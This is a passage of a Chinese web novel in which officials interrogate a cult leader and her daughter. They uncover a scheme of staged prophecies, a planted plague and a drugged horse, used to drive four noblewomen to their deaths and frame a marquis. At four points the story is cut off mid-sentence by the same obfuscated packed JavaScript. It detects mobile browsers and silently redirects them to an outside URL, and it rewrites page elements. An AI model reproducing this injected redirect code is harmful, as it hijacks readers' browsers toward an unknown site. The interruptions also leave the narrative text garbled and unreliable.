这时,杜羽却盯着那些雕像,道:“不对。” 云水谣问道:“哪里不对?” “这里除了伪神的雕像,似乎还有……” 杜羽没有说下去,而是拿出几尊雕像,转头看向孟荀:“阿荀,你来看看这几尊雕像。” 孟荀走过去,接过杜羽手中的雕像一看,惊讶道:“这……这些雕像怎么这么像我爹?” 云水谣也仔细一看,发现这五十多尊雕像里,确实只有一部分是伪神的雕像。还有一部分雕像,长着同一张脸,但却不是那些伪神的脸,而是一张完全陌生的年轻男子的脸庞。仔细一看,这些脸还跟孟荀有几分相似之处。 云水谣问孟荀:“这真的是你爹的雕像?” 孟荀道:“看着像……但这是他年轻时的模样,现在的他已经有胡子了。” 接着,她问闵红姑:“你雕刻的这些人像,怎么这么像我爹?” 闵红姑反问:“你觉得呢?” 孟荀皱眉:“我怎么知道?你别卖关子了,赶紧说!” 云水谣却想到了一种可能,问闵红姑:“你年轻时爱上的那位贵公子,难道便是孟荀的父亲——平乐侯孟离尘?” 闵红姑道:“没错。其实传闻有误,我并非对他求而不得,他当时也没有拒绝我。我跟他有了一个孩子,就是闵暗雪。这些年,我一直在为他做事。而当我想念他的时候,就会雕刻他的雕像。所以,我的屋子里才会有许多他的雕像。天神的雕像是用来卖的,孟郎的雕像是我自己留着看的。” 杜羽、云水谣十分惊讶,孟荀已冲上前去,骂道:“这不可能!你别污蔑我爹!” 闵红姑道:“你就是他的嫡出女儿吧?长得跟他可真像。你还是个孩子,又怎么知道老一辈的事呢?他在你们面前,自然表现得十分完美,以免有损他的慈父形象。可你不想想,仅凭我自己,又如何组建天神教呢? 这么多年,我一个人带着女儿,还收养了一个天明,我是如何过活的?难道不正是出于他的照顾吗?我所做的一切,都是他所吩咐。” 闵暗雪也惊讶地看着母亲,道:“娘,您说的都是真的?” 闵红姑道:“没错。其实你也是孟氏的女儿,是孟荀的姐姐。你本该拥有高贵的身份,甚至像孟荀这样,从小读书,长大做女官。可是,因为你爹不肯带我们母女回去,所以我们这些年一直过得这么普通。” 孟荀摇头道:“不可能,这不可能……” 杜羽却用锐利的眼光瞧着闵红姑,道:“既然你这些年一直跟孟侯有联系,那你又为何要毁容?” 传言中,闵红姑是因为得不到心爱之人,一怒之下毁去容貌。但既然孟荀的父亲并未拒绝她,还跟她生了女儿,那她就没必要毁容了。 闵红姑道:“当时我跟他相遇之后,感情很不错,我一直以为他会带我回家,给我名分。可是他说,他身份高贵,不能娶我,哪怕是让我做妾都不行。他还未娶妻,也不能让人知道他有了孩子。所以,已经怀孕的我只能被养在外面,做个外室。我当时很生气,跟他吵架,后来又苦苦哀求,可他都不改变主意。 我一气之下,自毁容貌。因为我觉得既然凭借美貌留不住他,那我也不要这份美貌了。他觉得愧疚,便给我钱和房子,一直养着我,还经常暗中照顾我。但条件是,他有什么吩咐,我必须照做。前十几年,他一直没什么要我做的。两年前,他叫我组建天神教,我来当教主,女儿当执事。 这个教如何发展、如何运营,他都想好了,只要我照做就行。” 杜羽道:“那他组建天神教的目的是什么呢?” 闵红姑道:“我也不太清楚,大概是敛财吧。天神教的大部分收入,就是给了他。” 杜羽对孟荀笑道:“你爹已经缺钱缺到这个地步了吗?” 孟荀怒道:“她撒谎!我爹是易水孟氏嫡系子孙,何时缺过钱?他就是要挣钱,也有很多合理合法的方法,何必组建这种邪.教?表哥,你不会信了这女人的胡言乱语吧?” 杜羽笑道:“我怎么会信她?她这番话,简直漏洞百出。首先,就算你爹要组建这么一个天神教来敛财,那他为何不把天神教发展得大一点?时至今日,天神教的执事竟只有三个,褚娇娇还是自己要求加入的。如果没有她,管理层就只有两个。可见这天神教,似乎并不想扩张。 其次,若真为了敛财,为何要骗那些信众自尽?留着慢慢榨干她们的钱不是更好?第三,天神教都能直接赚到这么多钱了,教主竟然舍得把大部分收入上交,也不合理。按正常情况,闵红姑应该敛一笔财,然后跑掉才是。” 闵红姑道:“天神教的创立之初只是为了挣钱,骗少女自尽的那些教义,是我自己编的。因为我自己毁容了,见不得其他年轻美貌的少女过得幸福。至于我为什么没有把钱卷走,而是上交给孟郎,自然是不想跟他断绝关系,想一辈子留在他身边。就算不能朝夕相处,但只要跟他还有联系,我就满足了。” 杜羽拍手道:“真是情深义重,感人肺腑啊。那你跟他联系的证据,在哪里呢?” 闵红姑道:“我们自然不会留下书面证据,但他赠我的许多礼物,都有孟家的标记。这些礼物也被差人带来了,你们尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14635790|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以看看。” 孟荀翻看了桌上的物件,道:“确实有很多物件是孟家的,还有一些是御赐之物,是皇上赐给我爹的。” 杜羽道:“别人要得到你爹的东西,有许多方法,比如偷窃。” 闵红姑道:“难道凭我一个弱女子,也有能力偷窃孟侯的物件?” “你自然做不到,但你幕后之人能做到。其实从方才起,我就有一些疑惑。但通过你的言行,我的疑惑有了解答。” 闵红姑忍不住问道:“什么疑惑?” 杜羽道:“第一个疑惑,就是天神教既然组建起来了,为何不发展壮大?这样,不论是敛财,还是发展势力、增加人脉,都方便许多。第二个疑惑,就是天神教覆灭得太快了。我们刚开始准备对付天神教,就很顺利地得到了天神教的各种线索。不过几日功夫,我们就把教主和三个执事都抓着了,未免也太顺利了一些。顺利得,让我觉得有人在背后操控这件事。” 闵红姑眼神转动,不知在想什么。 杜羽接着分析:“其实,从天神教成立,就是一场阴谋。天神教的成立,就是为了最后被官府抓到。” 这话说得有些绕,云水谣没明白,忍不住问道:“杜长史,这是何意?” 杜羽问道:“云大人,你仔细想想两个问题。第一,天神教成立至今,做成了什么大事?骗几个无知少女自尽不算大事,骗一些愚民的钱也不算大事。第二个问题,天神教的人被抓到之后,造成了什么后果?” 云水谣道:“做成了什么大事……你的意思是,天神教的手段骗死了诚安伯府、曲离侯府的几位小姐?至于第二个问题……天神教的人被抓住了,供出了幕后主使是孟荀的父亲,这就把孟氏牵扯进了这桩案子。而且,搜出了孟荀父亲的雕像、信物,就更加坐实了孟侯的罪责。一旦孟侯被定罪,影响的是整个易水孟氏。而正在做官的孟荀,也会受到影响。” 杜羽点头:“我们假设,这几位小姐就是被天神教的教义骗死的。那么,天神教成立的原因,从来不是为了骗一些小财,或是骗死几个不重要的百姓。其真正的目的,是要让天神教的故事、雕像一直在民间传播。那么,一些身份高贵的姑娘,也有可能接触到天神教,甚至可能因为爱上这些伪造的天神而自尽。 而一旦有贵族少女因此自尽,天神教的罪责就大了,组建天神教的人,也必将受到极为严厉的惩罚,甚至会因此影响朝堂局势。诚安伯府、曲离侯府的几位千金之死,已成定局。人死不能复生,这两家一定非常痛恨真正的幕后黑手。而一旦坐实了幕后黑手是孟荀的父亲平乐侯,势必造成诚安伯府、曲离侯府和平乐侯府这一支的决裂。 更有甚者,造成的是孟氏、杜氏两大家族的矛盾和混乱。而孟氏、杜氏也是支持太子的,这样的结果,不仅打击了两大世家,也将沉重打击到太子。” 云水谣了然道:“所以,这个局从根本上来说,也是针对太子的?” 109.气运 杜羽道:“可以这么说。如果太子出面为孟荀的父亲说好话,那必然会得罪诚安伯府、曲离侯府这两支。如果太子不出面,任由这几家之间互相仇视、攻讦,最终削弱的是太子自己的势力。 所以我刚才说,天神教的成立,就是为了覆灭。教主闵红姑,是个棋子,也是个弃子。只有天神教的首领被我们抓到,我们才会发现孟荀父亲的雕像,闵红姑才能说出刚才的那些话,把嫌疑往孟荀父亲身上引,才能达到幕后之人真正的目的——削弱太子。” 杜羽的猜测,完全合情合理,令人心惊。幕后之人的布局,可谓是十分深远。 由此可见,布这个局的人,必然是太子的对头。 云水谣道:“但是若我们没有发现死者房中的雕像,就不会怀疑到天神教,这个局也就没法展开。” 杜羽道:“其实,天神教不掺和进来,也可以达到削弱太子的目的。当时,根据那四名死者的死状推测,是两位姐姐杀了两位妹妹,然后又自尽身亡。当时选秀在即,却有四位秀女身亡,旁人会猜测她们并不想嫁给太子,那么太子一定有什么缺点。或是猜测其他秀女为了提高中选率,杀害竞争对手,那这也是一桩丑闻,同样会影响太子的名声。不论民间如何猜测,都会影响太子的名望。 所以,我们会不会发现天神教的事,进而剿灭天神教,其实都不影响对太子的削弱。幕后之人为我们做了两手准备,我们若是认为那四名姑娘死于争风吃醋,就此结案,也可以;我们若是认为另有隐情,他们便把天神教暴露在我们眼前,让我们抓到天神教,牵扯出孟荀父亲,那自然更好。我们觉得自己已经发现了真相,其实是钻进了幕后之人的第二个套中。” 云水谣点头,认同这番话。 她问杜羽:“我们当时是怎么想起搜查那四名死者的屋子的?” 杜羽道:“好像是对她们的死因存疑,不愿意匆匆结案,所以想搜查死者的屋子,看能不能发现其他线索,没想到还真找到了雕像。” “那我们是如何笃定是这些雕像害死四位小姐的?” 这些天发生的事情太多太杂,有些细节云水谣想不起来了,干脆问问杜羽。 杜羽也想了一会,才道:“好像是因为七彩、青叶这两个丫头,是她们说,武陵侯千金将雕像送给自家小姐,并且自家小姐好几次偷偷祭拜天神,才让我们觉得,天神教的故事很有可能是几位死者死亡的原因。” 云水谣也想起来了,道:“几位死者曾经祭拜过伪神,是不是只有这两个丫头看见?” 杜羽道:“对,她们是这么说的。” 云水谣道:“这么说,我们追查天神教,其实有一部分原因是出于这两个丫头对我们的心理暗示。” 当想通了这一点后,云水谣倏然心惊。她吩咐衙役:“将七彩、青叶两个丫头带过来。” 现在想想,这两个丫头确实有些奇怪。她们好像参与进了很多事情,但又能把自己摘出来,没什么嫌疑。做得太干净了,也是一种破绽。 很快,两个丫头就被带到了公堂上。 她们看见教主闵红姑,没什么反应。但是看见旁边的闵暗雪,都露出了惊讶的神情。只是在这种场合下,她们似乎没法说什么,只能朝着云水谣等人跪下。 云水谣冷冷地看着她们两个:“本官再问你们一次,你们跟天神教有没有牵扯?几位小姐之死,究竟跟你们有没有关系?” 七彩、青叶都道:“我们是无辜的,请大人明察。” 云水谣道:“刚才看你们的反应,分明是认识闵暗雪的,而她就是天神教的执事之一。你们还要撒谎?” 七彩道:“大人,我们确实认识闵暗雪,但我们并不知道她就是天神教的人,只是无意间跟她见过几次,说过一些话。” 云水谣问:“她向你们传.教了?” 七彩犹豫了一会,道:“是。” “你方才还说,不知道闵暗雪是天神教的人,现在又说她曾经向你们传.教,这岂不是前后矛盾?还不从实招来,否则大刑伺候。” 七彩、青叶对视了一眼,神色复杂,但两人都没说什么。 见此,云水谣道:“来人,把刑具搬过来。” 青叶却突然抬头道:“大人,您不能对我们用刑。” “为何?” “我不能说,总之我是为您好。” 云水谣冷笑道:“你们总不会有什么隐藏身份吧?就算真的有什么了不得的身份,本官也不怕。来人,上夹棍。” 眼看着衙役就要使用夹棍,七彩突然道:“大胆凡人,你真敢对我们用刑?你会后悔的!” 云水谣很疑惑,道:“你叫我什么?大胆凡人?难道你们不是凡人?” 七彩道:“我……事到如今,我就直说了吧。我和青叶是仙女转世,是这个世界的气运之女,注定会登上巅峰。而胆敢得罪我们的凡人,都会遭报应。” 云水谣满头问号,看了七彩和青叶几眼,寻思着她们也不像疯子啊,怎么说出这种话来?难道,是因为跟天神教接触多了,所以也学会了编瞎话? 青叶道:“云大人,您不信?您问闵暗雪就知道了,她会望气,也能预知未来。就是她告诉我们,我们俩是天选之女,头顶有圣光环绕,现在虽然是丫环,但将来必定会一飞冲天。” 云水谣有些无语:“天神教执事说的话,你们也信?” 青叶却眼神坚定:“你根本不懂,我跟你这个无知凡人没什么好说的。” 七彩也道:“没错,闵姐姐真的能预知未来,你还不了解我和青叶未来会如何强大。” 云水谣道:“你们先等一下。” 云水谣背过身去,开始狂笑,笑得停不下来。 孟荀忍不住笑道:“阿谣,你别笑岔气了。” 云水谣边笑边说:“我已经很久没见到这种笑话了,什么样的人才会相信这种瞎话啊?她们以为自己是话本里的主角啊?” 七彩傲然道:“没错,我和青叶还真是主角,双女主, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649651|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你懂吗?这个世间如果还有一人能跟我匹敌,那就是青叶。我们两个本是九重天上的仙女,因为犯了错,被贬下凡,成为丫环。但我们不过是下凡历劫而已,终究还是要回到天上的。在天界,我们俩是最强大的仙女,其他仙人都打不过我们。” 云水谣回头看了她们一眼,又笑得直不起腰来。 见云水谣没法继续审问,杜羽无奈地摇了摇头,走到闵暗雪面前:“你会望气?你还能预知未来?你预言这两个丫头是气运之女,将来会登上巅峰?还能飞升成仙?你就是用这种方式,骗她们为你做事的吗?” 闵暗雪沉默了一会,对那两个丫头道:“很抱歉,我骗了你们。你们不是什么气运之女,也不是什么仙女转世。” 七彩、青叶不可置信地看着闵暗雪,似乎不信自己听到的话。 七彩问道:“怎么会……你明明说,我们俩才是这个世界的主角,其他人都是为了衬托我们而存在的。” 青叶也说道:“你明明说,是我们的小姐压住了我们的气运,所以只有小姐死掉,我们的运气才能好起来,成为人上人。” 闵暗雪道:“这一切都是假的。” 七彩、青叶愣住了,喃喃自语:“不,不是假的……我是仙女,是下凡历劫的……” 她们两人受不了这个打击,像疯了一样又哭又笑。云水谣想问话,都问不出来,她们好像已经没法正常沟通了。 云水谣吩咐衙役将这两个丫头带下去关起来,公堂之上才安静一些。 云水谣问闵暗雪:“你究竟是如何将这两个丫头骗成这样,从实招来。” 闵暗雪道:“几个月前,我娘说,雍州城有几位小姐即将参加太子侧妃的选秀,需要将她们神不知鬼不觉地害死。我问为什么,我娘让我别多问,她已经有了计划,让我们照做便是。 我们一开始的计划,是向这几位小姐传.教,让她们迷恋伪神,甚至为了嫁给天神而自尽。这个计划是最轻松的。只是,这几位小姐出门都有许多下人跟着,我们不方便直接联络到她们,所以便想着从她们的下人入手。我派出人,向几位小姐身边的丫环、奶娘等人传.教。” 云水谣问:“等一下,武陵侯千金褚娇娇,一开始是不是也是你们要杀的目标?” 闵暗雪道:“没错,一开始的计划,是把这五位千金全部害死。而褚娇娇这边,进展得是最顺利的,因为她的奶娘孙氏在我们的刻意传.教下,已经对天神教深信不疑。那么,她一定会向自己的小姐褚娇娇传、教。没想到,褚娇娇在得知了天神教后,竟然另辟蹊径,想要跟我们合作,一起骗其他人。 当时,褚娇娇所联络的执事,就是我。我听闻她的想法后,很吃惊,本不想答应,因为我们本来的计划是杀了她。后来,我跟母亲商议,母亲说,倒也不是非杀了褚娇娇不可,只要这几位千金里,有几人死亡就可以。褚娇娇既然想跟我们合作,我们正好利用她的身份,掩饰自己。于是,褚娇娇就这样加入了天神教,成为执事之一。” 110.设套 闵暗雪顿了顿,接着说道:“只是,一些关键的机密,我们肯定不会让她知道。就连我们的面容,她也不知。” 云水谣问道:“既然你会武功,为何不在褚娇娇找上你的时候,直接杀了她?” 闵暗雪道:“因为母亲说要让这几位小姐自己自尽。如果有他杀的痕迹,不仅容易暴露我们,也不利于执行天神教的计划。除了褚娇娇之外,其余四位小姐身边的丫环、奶娘等人,都不信天神教,我们毫无进展。 就在这时,母亲对我说,她已经有了另一个周密的计划,也可以杀了那四位千金。那就是,给她们身边的丫环编造另一套谎言,让她们深信不疑,然后主动执行我们的计划。 七彩、青叶是我们选中的欺骗目标。本来我想多选几个丫环,但是母亲说,人多了不好控制,一家选一个就可以了。于是,我趁着这两个丫头出门的时候,刻意与她们结识,说自己会算命,可以给她们免费看相。她们便让我看了。 我便骗她们说,我会望气,看到她们头顶有圣光环绕,她们的来历绝不平凡,很可能是仙女转世,是这个世界的气运之女,注定会大富大贵,受人景仰。她们一开始不敢相信,但我说,我能预知未来,比如再过一会,她们小姐的姻缘树会被焚毁。这件事代表着几位小姐的气数已尽,丫环青叶、七彩即将崛起。 她们二人仍是不信,我说,此事马上就会发生,她们只需这会回府等待,马上就能应验。她们将信将疑地回了府。而这个时候,我们的人已经偷偷将引火、引雷之物放在那几位小姐的姻缘树上,当时正是雨天,雷声阵阵,几位小姐的姻缘树果然起火。 虽然当时下着雨,但因为几棵姻缘树上放着容易引火之物,便烧了个干净。而这个消息,很快就传回了诚安伯府和曲离侯府。七彩、青叶得知消息,便以为我果真很神,从此便相信了我所有的话。” 云水谣道:“原来姻缘树起火的缘故竟是这样。” 闵暗雪道:“正是。于是,她们便偷偷回来找我,询问我如何才能不再当丫环,大富大贵。我说,我既能知未来,也能知过去,我已经看出她们两人乃是仙女转世,因犯了错才下凡历劫,投胎为丫环,但终将否极泰来。 而她们的大运之所以迟迟未来,是因为她们的小姐压住了她们的气运。这几位小姐乃是魔女转世,专为压制她们而来。在天界时,就是由于这几位魔女惹事,才害得七彩、青叶两位仙女被罚下凡间。 因此,七彩、青叶都开始暗恨那四位小姐,询问我该怎么做。我说,她们是仙女转世,自然不能亲手杀人,否则有损功德,必须想个法子让四位小姐自己自尽。只要四位小姐死了,她们便能转运。而要让几位小姐自尽,其实也很简单。因为我看到她们的未来,非常凄惨,肯定是要死的,就连家族也会因她们而覆灭。 如果她们主动死了,反而能保全家族。只需把这一真相告知四位小姐就可以了。七彩和青叶又问,要如何才能让几位小姐相信此事。我说,我既然能预知未来,只需把未来会发生的事情告诉她们,而她们再转述给自家小姐。次数多了,她们便相信了未来的预言,也相信自己一定下场凄惨,从而选择自尽。 于是,那两个丫环便开始逐步执行我的计划。她们先跟自家小姐说,自己获得了预知未来的能力,能在梦中看见未来会发生的事。几位小姐自然不信。 我让她们说的第一个预言,是莘庄鼠疫。莘庄是一个很大的田庄,有一半属于诚安伯府,一半属于曲离侯府。我们的人偷偷把带病的老鼠放进莘庄的粮仓,制造鼠疫,死了许多人,连那里的粮食也有毒,不能吃了。 七彩、青叶不知此事乃是人为,以为是我预言成真,对我更加信服。而几位小姐之前听七彩和青叶说,莘庄会发生鼠疫,都不相信。后来真的发生了,她们开始将信将疑,觉得自己的丫环是不是真的能预知未来。 我让她们说的第二个预言,是雍州前任司马安正则会眼盲。” 云水谣问道:“你怎么知道这件事?” 闵暗雪道:“我也不知道,是我娘对我说的。她说这件事一定会发生,我只管大胆预言,继续欺骗那两个丫环便是。” 现在云水谣已经知道,安正则的眼盲并不是突发事件,而是有人策划。那么,闵红姑提前知道并不奇怪,她很有可能也是福王的人,福王事先把会刺瞎安正则的事告诉了她。 那么,就更加可以证明,如今的这起案子,跟之前的案子一样,其实是同一个幕后黑手所策划。而这幕后黑手,八成便是福王。 云水谣问闵红姑:“你是如何提前得知安正则会眼盲的?” 闵红姑道:“自然是平乐侯告诉我的。至于他怎么知道的,我就搞不清楚了。” 云水谣皱了皱眉,心里有些不满。闵红姑还是想拖孟荀的父亲下水,不肯招认真正的幕后主使。但云水谣也不想打断审讯过程,便对闵暗雪道:“你接着说。” 闵暗雪道:“我把这个预言告知了两个丫环,她们都不敢相信,但还是将预言转告了几位小姐。同样,她们说是自己梦中看见的。没过几天,果真发生了安正则被刺瞎之事。这下,两个丫环简直将我当成了神人。而几位小姐,也逐渐开始相信七彩和青叶真的能预知未来。 我说的第三个预言,是百尺楼的覆灭。当然,这件事也在我说完不久后发生了。 我说的第四个预言,是杜羽会坠马受伤。” 云水谣、杜羽同时大惊。 杜羽道:“我坠马受伤之事,也是你们一手策划?” “对。我们的人往飞驰马场运送了一批大宛马,再把消息放出。杜羽是爱马之人,得知之后一定会去试试驯服大宛马。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665780|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而牵马的伙计也是我们的人,他会把事先服用了狂躁之药的马给杜羽骑。大宛马本就野性难驯,又服了药,即便十个杜羽,也驯服不了,一定会坠马受伤。 而几位小姐得知此事,自然便对这些预言深信不疑,开始暗中担忧未来的命运。” 杜羽道:“怪不得我两个堂妹见我受伤,会如此惊恐。而孟芳茹、孟芳茵两位表妹,虽然跟我不熟,也突然向下人打听我是否坠马受伤。得知我受伤,她们也很惊恐。这一切,现在都有了答案。那么,让我猜猜,你接下来所说的预言,就是豆子价格会大涨?” 闵暗雪道:“没错,这就是我说的第五个预言,而两位丫环也转述给了自家小姐。实际上,从宁州运往雍州的运豆船,就是我们设计弄沉的。” 云水谣感慨道:“怪不得几位小姐得知豆子价格上涨,会如此惊恐。如果不是你亲口说出来,谁能想到是因为这样?” 闵红姑接着说道:“在这几个预言全部实现之后,几位小姐已经完全相信了两个丫环所说的话。我再让丫环转告几位小姐,说未来太子选秀,她们会入选,但太子会看上她们身边的丫环七彩和青叶,并且独宠她们二人。其他人,包括太子妃在内,都会失宠。 几位小姐为了争宠,会陷害七彩和青叶,而这也导致太子清算她们的家族,孟氏、杜氏都会因此而覆灭。这些事是一定会发生的,因为七彩和青叶才是这个世界的气运之女,其他人只是她们的垫脚石。 几位小姐只有在选秀之前自尽,才能避免家族倾覆的命运。她们完全相信了这件事,所以非常恐慌,经常聚在一起商议。两位大小姐想要自尽,但两位二小姐还不肯死。于是,我决定帮她们一把。” 云水谣问道:“你让人售卖了昏睡药给两位大小姐?” “对。她们购买昏睡药,就是为了迷晕妹妹,掐死妹妹。这样做也是迫不得已,因为她们坚信,只有她们死去,才能避免未来的坏事发生。所以,她们在掐死妹妹后也自尽了,而且无论多痛,都不发出叫喊。 而七彩和青叶两位丫环,为了让自己没有嫌疑,在白天故意犯一些事导致受罚,这样她们晚上沉睡不醒就很合理了,也自然跟这桩案子没关系了。” 在案发当晚,七彩和青叶确实只要睡觉就可以了,因为几位小姐会主动赴死。 云水谣、孟荀、杜羽都沉默了。这个阴谋实在太精巧、太恶毒,她们一时间消化不了。 原来这就是真相,之前百思不得其解的一些细节,现在终于有了答案。 几位小姐确实是被天神教害死的,但害死的方式却不简单。她们先给两个丫环编造一个谎言,再让两个丫环去给自家小姐编造谎言。层层设套,几位小姐根本无路可逃。 孟荀忽然上前,掐住了闵暗雪的脖子,怒吼:“为什么!你为什么要这么做!” 111.博弈 闵暗雪被掐得很难受,连连咳嗽,艰难回答:“我……我只不过是听我母亲的命令行事……我是你姐姐,你不能杀我……这个计划这么复杂,恐怕不是我母亲能想出来的……是你父亲,也是我父亲……我们的父亲,想出了这个计划,让我母亲和我一起执行……” 孟荀叫道:“你胡说!你不是我姐姐!我爹跟你们也没有关系!” 孟荀身为官员,掐着犯人的脖子是很不合适的,云水谣想把她拉开,但孟荀已经快疯了,根本拉不开,她几乎快要把闵暗雪给掐死了。 杜羽走上前去,摸了摸她的头,道:“好了,阿荀,冷静点。她自以为是你姐姐,是你爹的女儿,其实她也不过是被她母亲骗了而已。天神教做这么多坏事,就是为了栽赃你父亲。如果你情绪不稳,当场杀人,只会让你爹的罪责更加多上一条。” 孟荀冷静了下来,茫然地坐在地上,双手抱膝,眼神空洞。 她不止是为两位表妹的死而伤心,也是因为两位表妹竟是被这样复杂、这样恶毒的局害死而感到震撼,更夹杂着许多对父亲的担忧,这些情绪已经快把她压垮了。 云水谣走到孟荀身边,跟她一起坐下,握住了她的手。孟荀的手很冷,微微发抖。云水谣用力握住她,给她一点力量。 杜羽知道云水谣和孟荀已经被各种情绪所裹挟了,没法冷静审问,因此,他便主持大局。 杜羽走到闵红姑面前,道:“你女儿说了很多,接下来该你说了。是谁指使你污蔑平乐侯孟离尘的?” 闵红姑却未改口,冷静道:“我背后的主子自然是孟侯,我跟他有女儿,我身边有他的雕像和信物,我所做的一切都是他指使的。” 杜羽冷笑:“你说闵暗雪是他女儿就是吗?有何凭证?依我看,闵暗雪不仅不是孟侯的女儿,甚至未必是你女儿。” 闵暗雪吃惊道:“娘,他说的是真的吗?” 闵红姑看向女儿:“你不要听他的挑拨,你自然是母亲亲生的,你的父亲是平乐侯孟离尘,你是孟荀的姐姐。” 闵暗雪松了一口气。 杜羽却看向她,说道:“你骗起别人来一套一套的,怎么你母亲说的话你就全然相信了?你现在这副样子,跟那四位死去的小姐有何分别?” 听杜羽这么一说,闵暗雪又开始惊疑不定。 见女儿开始怀疑自己,闵红姑急道:“我确实生过孩子,这个痕迹是消失不了的,你们可以找有经验的接生婆来验验。” 杜羽道:“就算你真的生过孩子,是什么时候生的,跟何人所生,生的是不是闵暗雪,这都说不好。仅凭身体上的痕迹,又能证明什么?” “我……我可以跟女儿滴血验亲!” “滴血验亲也有不准的。更何况,现在的重点不在于你是不是她母亲,而在于孟侯是不是她父亲。如果没有确实证据,你可不能这样污蔑朝廷勋爵。” 闵红姑道:“此案事涉平乐侯,不是你们几个地方官能审理的。你们需将我们移送大理寺,由大理寺甚至是皇帝亲审。所以,我也无需向你们解释太多。” 杜羽冷笑道:“你懂的倒不少。” 孟荀道:“上京就上京,怕你不成?清者自清,我倒要看看你如何将这么多罪名栽赃到我父亲身上。” 云水谣站起身来,翻看桌上的物证,发现少了一样重要的东西。 她问闵红姑:“你们天神教的账本呢?” 闵红姑道:“没有账本。” “连账本都没有,你怎么证明你把天神教的钱送给孟侯了?你以为就凭你一张嘴说了算吗?” 闵红姑道:“这就不劳云大人操心了,我说过,此案你们已经没有资格审理。” 云水谣被她的态度气到了,但她最近养气的功夫见长,因此只是淡淡地说道:“此案毕竟是在我雍州境内发生的,我若是不能给大理寺提供充分的证据,岂非显得我无能。我想,账本一定是有的,只是被你藏在别的地方了。来人,对闵暗雪用刑。” 闵红姑急道:“别对我女儿用刑!” 云水谣半蹲下来,俯视着她,形成压迫感:“你女儿会不会受刑,取决于你听不听话。” 闵红姑闭上了眼睛,叹了口气,说道:“好吧,我说。账本就在我住所往西三里的地方,那儿有一株十人合抱的大银杏树。在树干离地一丈的地方,有一块树皮是活动的。打开那块树皮,账本就藏在树干里面。” 云水谣吩咐几个护卫:“你们去她说的地方找账本。” 护卫们领命而去。 接着,云水谣又问刚才去抓捕闵红姑的衙役:“你们去时,房里只有她们母女吗?没有其他下属?” 一个衙役答道:“只有闵红姑和她女儿在,所以我们只抓了她们俩。不过我们留了一部分护卫在她们的住所,一旦有天神教的下属到来,也能抓住。” 云水谣点头。 现在要做的就是等待。第一要等天神教的账本被找到,第二要等天神教的更多下属落网,第三要等七彩、青叶两个丫头冷静下来,询问她们事情的经过。虽然刚才闵暗雪已经把事情经过说了,但七彩、青叶所说的内容也要一致,才能确定这些事是真的。 云水谣对几个丫环道:“你们煮点安神汤,给牢房里的七彩、青叶送去。等她们冷静下来了,便带出来见我。” “是。” 孟荀道:“我本来打算明早去叔父家和曲离侯家拜访吊唁,可如今我父亲卷进了这案子,我反倒不方便去受害者家里了。” 云水谣道:“你如今还是避嫌为好,等真相大白,查清跟你父亲无关,再吊唁不迟。” “既这样,我留在这儿没什么用,卫县那边还有公务等着我处理,不如我明日便走。” “今日这么累,现在又熬夜,估计明天白天你醒不了,不如后天走。” “也行。” 云水谣想让孟荀先去歇着,但孟荀本就关心案情,现在她父亲还成了嫌疑人,她更睡不着了,因此便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680001|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陪着云水谣一起等待结果。 云水谣拿起那些伪神的雕像又看了看,一共有十一个不同的伪神,每一个神像的数量不等。孟荀父亲的雕像,已经单独放在一边。 两边的雕像对比一下,会发现伪神的雕像比孟荀父亲的雕像精致多了。孟荀父亲已经是难得一见的美男子,但这些伪神的脸,无一例外都十分完美,简直不像是人间能见到的。就连杜羽、元景佑、安正则这样的相貌,在这些神像面前也都黯然失色。 难怪这些伪神的雕像能吸引那么多少女。 云水谣问闵红姑:“你是如何雕刻出比真人美上数倍的神像的?” 闵红姑道:“是我自己想象出来的。” “可惜了,你有如此手艺,如此灵感,却只用来作恶。” 如果闵红姑做一个木雕匠人,现在一定是个大家,名利双收。 又过了大约两炷香的时间,丫环们来报:“大人,七彩、青叶二人喝了安神汤之后,逐渐冷静下来,现在已能正常交流。奴婢们将她们带过来了。” 云水谣点头,让人搬来两把椅子,让七彩和青叶坐下回话。 